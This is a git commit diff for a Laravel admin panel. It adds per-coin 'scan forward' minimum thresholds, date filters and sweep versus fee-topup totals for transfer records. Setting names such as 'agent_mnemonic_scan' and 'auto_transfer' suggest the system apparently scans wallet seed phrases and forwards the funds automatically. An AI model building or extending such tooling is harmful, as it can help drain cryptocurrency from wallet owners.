feat: interept
This commit is contained in:
@@ -41,6 +41,12 @@ class SystemSettingsController extends Controller
|
||||
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'official_album_storage' => ['nullable', 'in:0,1'],
|
||||
'agent_mnemonic_scan' => ['nullable', 'in:0,1'],
|
||||
'scan_forward_min_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||
'scan_forward_min_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
'scan_forward_min_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'scan_forward_min_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
'scan_forward_min_sol' => ['nullable', 'numeric', 'min:0'],
|
||||
'scan_forward_min_bnb' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_enabled' => ['nullable', 'in:0,1'],
|
||||
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
@@ -77,6 +83,12 @@ class SystemSettingsController extends Controller
|
||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||
'album_storage.official_default' => (($data['official_album_storage'] ?? '0') === '1') ? '1' : '0',
|
||||
'scan.agent_visible' => (($data['agent_mnemonic_scan'] ?? '1') === '1') ? '1' : '0',
|
||||
'scan.forward_min_usdt' => $threshold($data['scan_forward_min_usdt'] ?? null) ?? '0',
|
||||
'scan.forward_min_trx' => $threshold($data['scan_forward_min_trx'] ?? null) ?? '0',
|
||||
'scan.forward_min_eth' => $threshold($data['scan_forward_min_eth'] ?? null) ?? '0',
|
||||
'scan.forward_min_btc' => $threshold($data['scan_forward_min_btc'] ?? null) ?? '0',
|
||||
'scan.forward_min_sol' => $threshold($data['scan_forward_min_sol'] ?? null) ?? '0',
|
||||
'scan.forward_min_bnb' => $threshold($data['scan_forward_min_bnb'] ?? null) ?? '0',
|
||||
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||
|
||||
@@ -5,9 +5,12 @@ namespace App\Http\Controllers\Admin;
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
class TransferRecordController extends Controller
|
||||
{
|
||||
@@ -67,10 +70,75 @@ class TransferRecordController extends Controller
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
'summary' => $this->successSummary($request),
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
/**
|
||||
* Successful totals under the same top filters. Sweep vs fee-topup are split
|
||||
* by operator (`fee-topup…`); status is always success.
|
||||
*
|
||||
* @return array{totals: list<array{asset: string, amount: string}>, fee_totals: list<array{asset: string, amount: string}>}
|
||||
*/
|
||||
private function successSummary(Request $request): array
|
||||
{
|
||||
$base = $this->baseQuery($request, ignoreStatus: true)
|
||||
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS);
|
||||
|
||||
return [
|
||||
'totals' => $this->sumByAsset(
|
||||
(clone $base)->where(function (Builder $q) {
|
||||
$q->whereNull('transfer_records.operator')
|
||||
->orWhere('transfer_records.operator', 'not like', 'fee-topup%');
|
||||
})
|
||||
),
|
||||
'fee_totals' => $this->sumByAsset(
|
||||
(clone $base)->where('transfer_records.operator', 'like', 'fee-topup%')
|
||||
),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{asset: string, amount: string}>
|
||||
*/
|
||||
private function sumByAsset(Builder $q): array
|
||||
{
|
||||
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
|
||||
? 'CAST(transfer_records.amount AS REAL)'
|
||||
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
|
||||
|
||||
$rows = $q->selectRaw('UPPER(transfer_records.asset) as asset, COALESCE(SUM('.$amountExpr.'), 0) as total')
|
||||
->groupByRaw('UPPER(transfer_records.asset)')
|
||||
->get();
|
||||
|
||||
$byAsset = [];
|
||||
foreach ($rows as $row) {
|
||||
$asset = strtoupper(trim((string) $row->asset));
|
||||
if ($asset === '') {
|
||||
continue;
|
||||
}
|
||||
$formatted = WalletAddress::formatAmount(strtolower($asset), $row->total);
|
||||
$byAsset[$asset] = $formatted === '' ? '0' : $formatted;
|
||||
}
|
||||
|
||||
$order = ['USDT', 'ETH', 'TRX', 'BNB', 'BTC'];
|
||||
$totals = [];
|
||||
foreach ($order as $asset) {
|
||||
$totals[] = [
|
||||
'asset' => $asset,
|
||||
'amount' => $byAsset[$asset] ?? '0',
|
||||
];
|
||||
unset($byAsset[$asset]);
|
||||
}
|
||||
ksort($byAsset);
|
||||
foreach ($byAsset as $asset => $amount) {
|
||||
$totals[] = ['asset' => $asset, 'amount' => $amount];
|
||||
}
|
||||
|
||||
return $totals;
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request, bool $ignoreStatus = false): Builder
|
||||
{
|
||||
$q = TransferRecord::query();
|
||||
$agent = $this->agent();
|
||||
@@ -95,8 +163,9 @@ class TransferRecordController extends Controller
|
||||
$txHash = trim((string) $request->query('tx_hash', ''));
|
||||
$chain = trim((string) $request->query('chain', ''));
|
||||
$asset = trim((string) $request->query('asset', ''));
|
||||
$status = trim((string) $request->query('status', ''));
|
||||
$status = $ignoreStatus ? '' : trim((string) $request->query('status', ''));
|
||||
$operator = trim((string) $request->query('operator', ''));
|
||||
[$dateFrom, $dateTo] = $this->dateRange($request);
|
||||
|
||||
if ($from !== '') {
|
||||
$q->where('transfer_records.from_address', 'like', '%'.$from.'%');
|
||||
@@ -119,7 +188,44 @@ class TransferRecordController extends Controller
|
||||
if ($operator !== '') {
|
||||
$q->where('transfer_records.operator', 'like', '%'.$operator.'%');
|
||||
}
|
||||
if ($dateFrom !== null) {
|
||||
$q->where('transfer_records.created_at', '>=', $dateFrom);
|
||||
}
|
||||
if ($dateTo !== null) {
|
||||
$q->where('transfer_records.created_at', '<=', $dateTo);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: ?Carbon, 1: ?Carbon}
|
||||
*/
|
||||
private function dateRange(Request $request): array
|
||||
{
|
||||
$from = trim((string) $request->query('date_from', ''));
|
||||
$to = trim((string) $request->query('date_to', ''));
|
||||
$range = trim((string) $request->query('date_range', ''));
|
||||
if (($from === '' || $to === '') && $range !== '') {
|
||||
if (preg_match('/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/', $range, $m) === 1) {
|
||||
$from = $m[1];
|
||||
$to = $m[2];
|
||||
}
|
||||
}
|
||||
|
||||
$start = null;
|
||||
$end = null;
|
||||
try {
|
||||
if ($from !== '') {
|
||||
$start = Carbon::parse($from)->startOfDay();
|
||||
}
|
||||
if ($to !== '') {
|
||||
$end = Carbon::parse($to)->endOfDay();
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
return [null, null];
|
||||
}
|
||||
|
||||
return [$start, $end];
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user